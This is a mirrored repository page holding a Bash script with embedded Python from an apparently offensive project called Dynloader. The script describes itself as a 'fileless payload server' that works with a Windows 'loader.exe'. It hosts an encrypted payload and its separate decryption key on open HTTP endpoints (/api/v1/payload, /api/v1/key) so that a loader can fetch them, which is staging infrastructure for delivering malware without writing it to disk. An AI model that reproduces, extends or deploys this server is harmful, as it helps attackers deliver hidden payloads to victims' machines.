mirror of
https://github.com/AbishekPonmudi/Dynloader
synced 2026-07-15 03:39:09 +00:00
65 lines
1.7 KiB
Bash
65 lines
1.7 KiB
Bash
#!/usr/bin/env bash
|
|
# Linux fileless payload server (companion to loader.exe --server on Windows)
|
|
# Usage: ./server.sh [--port 8080] [--payload file.enc] [--key file.key]
|
|
|
|
set -euo pipefail
|
|
|
|
PORT=8080
|
|
PAYLOAD="payload.enc"
|
|
KEY="payload.key"
|
|
|
|
while [[ $# -gt 0 ]]; do
|
|
case "$1" in
|
|
--port) PORT="$2"; shift 2 ;;
|
|
--payload) PAYLOAD="$2"; shift 2 ;;
|
|
--key) KEY="$2"; shift 2 ;;
|
|
--server) shift ;;
|
|
*) echo "Unknown arg: $1"; exit 1 ;;
|
|
esac
|
|
done
|
|
|
|
if [[ ! -f "$PAYLOAD" ]]; then
|
|
echo "[!] Missing payload file: $PAYLOAD"
|
|
exit 1
|
|
fi
|
|
|
|
echo "[*] Linux fileless server on port $PORT"
|
|
echo "[*] Endpoints: /api/v1/payload /api/v1/key /api/v1/health"
|
|
|
|
python3 - "$PORT" "$PAYLOAD" "$KEY" <<'PY'
|
|
import sys, os
|
|
from http.server import BaseHTTPRequestHandler, HTTPServer
|
|
|
|
port = int(sys.argv[1])
|
|
payload_path = sys.argv[2]
|
|
key_path = sys.argv[3]
|
|
|
|
with open(payload_path, 'rb') as f:
|
|
payload = f.read()
|
|
key = b''
|
|
if os.path.isfile(key_path):
|
|
with open(key_path, 'rb') as f:
|
|
key = f.read()
|
|
|
|
class Handler(BaseHTTPRequestHandler):
|
|
def do_GET(self):
|
|
if self.path.startswith('/api/v1/payload'):
|
|
body = payload
|
|
elif self.path.startswith('/api/v1/key'):
|
|
body = key
|
|
elif self.path.startswith('/api/v1/health'):
|
|
body = b'OK'
|
|
else:
|
|
self.send_response(404)
|
|
self.end_headers()
|
|
return
|
|
self.send_response(200)
|
|
self.send_header('Content-Type', 'application/octet-stream')
|
|
self.send_header('Content-Length', str(len(body)))
|
|
self.end_headers()
|
|
self.wfile.write(body)
|
|
def log_message(self, fmt, *args):
|
|
sys.stderr.write("[server] " + (fmt % args) + "\n")
|
|
|
|
HTTPServer(('0.0.0.0', port), Handler).serve_forever()
|
|
PY |